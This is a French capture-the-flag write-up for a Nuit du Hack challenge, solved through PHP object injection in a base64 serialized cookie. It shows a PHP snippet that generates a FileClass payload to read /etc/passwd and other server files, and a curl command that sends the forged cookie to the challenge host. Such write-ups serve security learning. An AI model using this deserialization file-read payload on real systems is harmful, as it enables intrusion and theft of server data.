Description
Hey Dude! This authentication annoys me, please help!
The challenge is available at http://findmeimfamous.quals.nuitduhack.com
Resolution
Nous nous retrouvons devant un formulaire nous demandant de nous enregistrer, avec un nom et un âge.
Une fois cette étape effectuée, un cookie est enregistré contenant une chaine en base64 intéressante. Une fois décodée, cela nous donne un objet serializé en php.
cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czo1OiJhZG1pbiI7czo0OiJuYW1lIjtzOjU6ImFkbWluIjt9m
Une fois décodé :
O:4:"User":2:{s:3:"age";s:5:"admin";s:4:"name";s:5:"admin";}
Après l’enregistrement, un formulaire nous demande notre nom, qui une fois posté nous renvoie un joli message « Hello NAME you have AGE years old. ».
Le problème ici, c’est qu’on comprend bien que la faille doit venir de l’unserialize, mais … sur quelle classe ?
Coup de bol, en cherchant de la documentation sur les failles unserialize, nous sommes tombés sur l’article http://securitycafe.ro/2015/01/05/understanding-php-object-injection/.
La classe FileClass étant utilisée dans l’épreuve, cela nous a permis de lire les fichiers que nous voulions sur le serveur.
<?php class FileClass { public $filename; } $f = new FileClass(); $f->filename = '/etc/passwd'; echo serialize($f);
Avec ce code nous générant le payload pour lire n’importe quel fichier, facile, y’a plus qu’à lire le /etc/passwd ou un fichier commun comme dans n’importe quel CTF ? Et bien non…
Nous avons cherché partout sur le serveur, en récupérant l’intégralité des sources des pages inclues dans le site, /etc/passwd, /flag, configuration apache, etc., rien à faire… le flag reste introuvable.
Après des heures à chercher une exploitation logique, c’est un coup de bol² (…) qui nous a fait trouver le dossier « git » à la racine de l’épreuve (pourquoi ne pas avoir mis le point devant le nom du dossier ?!).
Là, d’un seul coup, tout s’éclaire, un coup de wget pour récupérer récursivement tout le dépot, puis un check dans les logs de commit :
Récupérer le contenu du fichier nous donne (enfin) le flag :
$ curl 'http://findmeimfamous.quals.nuitduhack.com/result.php' -b "cook=$(echo 'O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";}' | base64 | tr -d "\n")"
<?php if ($_COOKIE["cook"]==Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9){ echo "NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]"; }
Le flag était : bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6